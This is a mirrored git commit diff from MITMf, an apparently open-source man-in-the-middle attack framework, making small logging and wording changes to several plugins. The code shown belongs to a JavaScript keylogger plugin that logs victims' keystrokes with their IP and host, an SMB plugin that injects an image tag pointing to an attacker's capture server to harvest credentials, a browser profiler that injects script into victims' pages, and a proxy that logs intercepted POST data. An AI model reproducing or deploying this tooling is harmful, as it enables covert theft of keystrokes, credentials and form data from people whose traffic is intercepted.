mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 13:02:24 -07:00
formatting
This commit is contained in:
parent
1b6841f9c1
commit
eedb48822a
4 changed files with 10 additions and 7 deletions
|
@ -13,6 +13,7 @@ class BrowserProfiler(Inject, Plugin):
|
|||
def initialize(self,options):
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
self.dic_output = {} # so other plugins can access the results
|
||||
print "[*] Browser Profiler online"
|
||||
|
||||
def post2dict(self, string):
|
||||
|
@ -23,10 +24,12 @@ class BrowserProfiler(Inject, Plugin):
|
|||
return dict
|
||||
|
||||
def sendPostData(self, request):
|
||||
#Handle the browserprofiler plugin output
|
||||
#Handle the plugin output
|
||||
if 'clientprfl' in request.uri:
|
||||
out = pformat(self.post2dict(request.postData))
|
||||
logging.warning("%s Browser Profilerer data:\n%s" % (request.client.getClientIP(), out))
|
||||
self.dic_output = self.post2dict(request.postData)
|
||||
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
|
||||
pretty_output = pformat(self.dic_output)
|
||||
logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
|
||||
|
||||
def get_payload(self):
|
||||
payload = """<script type="text/javascript">
|
||||
|
|
|
@ -12,7 +12,7 @@ class SMBAuth(Inject,Plugin):
|
|||
self.html_payload = self._get_data()
|
||||
|
||||
def add_options(self,options):
|
||||
options.add_argument("--host", action="store_true", help="The ip address of the SMB server")
|
||||
options.add_argument("--host", action="store_true", help="The ip address of your capture server")
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
|
|
|
@ -15,7 +15,7 @@ class jskeylogger(Inject, Plugin):
|
|||
print "[*] Javascript Keylogger plugin online"
|
||||
|
||||
def sendPostData(self, request):
|
||||
#Handle the jskeylogger plugin output
|
||||
#Handle the plugin output
|
||||
if 'keylog' in request.uri:
|
||||
keys = request.postData.split(",")
|
||||
del keys[0]; del(keys[len(keys)-1])
|
||||
|
@ -32,7 +32,7 @@ class jskeylogger(Inject, Plugin):
|
|||
try:
|
||||
nice += n.decode('hex')
|
||||
except:
|
||||
print "ERROR: unknown char " + n
|
||||
logging.warning("%s ERROR decoding char %s" % (request.client.getClientIP(), n))
|
||||
|
||||
logging.warning("%s [%s] Keys: %s" % (request.client.getClientIP(), request.headers['host'], nice))
|
||||
|
||||
|
|
|
@ -67,7 +67,7 @@ class ServerConnection(HTTPClient):
|
|||
def sendPostData(self):
|
||||
self.plugins.hook()
|
||||
if ('clientprfl' or 'keylog') not in self.uri:
|
||||
logging.warning("%s Data (%s):\n%s" % (self.getPostPrefix(),self.headers['host'],self.postData))
|
||||
logging.warning("%s %s Data (%s):\n%s" % (self.client.getClientIP(),self.getPostPrefix(),self.headers['host'],self.postData))
|
||||
self.transport.write(self.postData)
|
||||
|
||||
def connectionMade(self):
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue